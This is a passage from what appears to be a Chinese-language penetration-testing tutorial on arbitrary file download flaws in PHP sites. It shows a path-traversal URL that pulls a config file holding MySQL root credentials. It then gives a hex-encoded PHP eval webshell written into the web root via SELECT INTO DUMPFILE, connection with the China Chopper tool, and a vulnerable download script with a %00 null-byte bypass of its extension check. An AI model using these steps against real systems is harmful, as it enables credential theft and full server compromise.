php一般是mysql数据库, 一般mysql数据库禁止远程连接,但是可以使用phpMyAdmin进行管理。
www.test.edu.tw/download.php?filename=../conf/config.php &dir=/&title=config.php
下载获得mysql数据库的用户名和密码是root权限
直接使用mysql导出文件功能导出一句话
select 0x3C3F706870206576616C28245F504F53545B636D645D293F3E into dumpfile ‘/home/webadm/public_html/app/test.php‘
使用菜刀连接
完成一次渗透测试。
5.通用方法
上面在不同类型站点中利用该漏洞,都是利用各种站点本身的配置信息完成的,当上述方法都失败时,下载点就会将黑盒渗透过程变成白盒渗透过程,就是下载源代码,找bug,对于每种站点都是一样的。在此省略了.
五、 绕过简单限制方法
看到有些站点,对该漏洞的防范只是简单判断文件后缀名,例如如下所示:
<?php
include( "init.inc.php" );
get_referer( false );
if ( empty( $_GET[‘filename‘] ) || empty( $_GET[‘title‘] ) || empty( $_GET[‘dir‘] ) )
{
error_display( t_( "缺少檔案下載參數" ) );
}
$file_name = $_GET[‘filename‘];
$file_download = uploadpath( )."/".$_GET[‘dir‘]."/".$file_name;
$file_extension = get_file_extension( $file_name );
if ( strpos( $_SERVER[‘HTTP_USER_AGENT‘], "MSIE" ) )
{
$file_save = utf8tobig5( $_GET[‘title‘] ).".".$file_extension;
}
else
{
$file_save = $_GET[‘title‘].".".$file_extension;
}
$file_save = ereg_replace( "[\\/:*?\"<>|]", "_", $file_save );
if ( $file_extension == "php" ) //这里对文件后缀进行判断
{
exit( "<strong>Cannot be used for ".$file_extension." files!</strong>" );
}
$mimeType = get_file_mimetype( $file_name );
if ( strpos( $_SERVER[‘HTTP_USER_AGENT‘], "MSIE 5" ) || strpos( $_SERVER[‘HTTP_USER_AGENT‘], "Opera 7" ) )
{
$mimeType = "application/x-download";
}
ob_end_clean( );
header( "Pragma: public" );
header( "Expires: 0" );
header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header( "Cache-Control: public" );
header( "Content-Description: File Transfer" );
header( "Content-Type: ".$mimeType );
header( "Content-Disposition: attachment; filename=".$file_save );
header( "Content-Transfer-Encoding: binary" );
header( "Content-Length: ".filesize( $file_download ) );
@readfile( @$file_download );
?>
但是这样同样可以下载,简单实用%00txt就可以绕过限制,继续下载。
绕过其它不安全防范防范待续….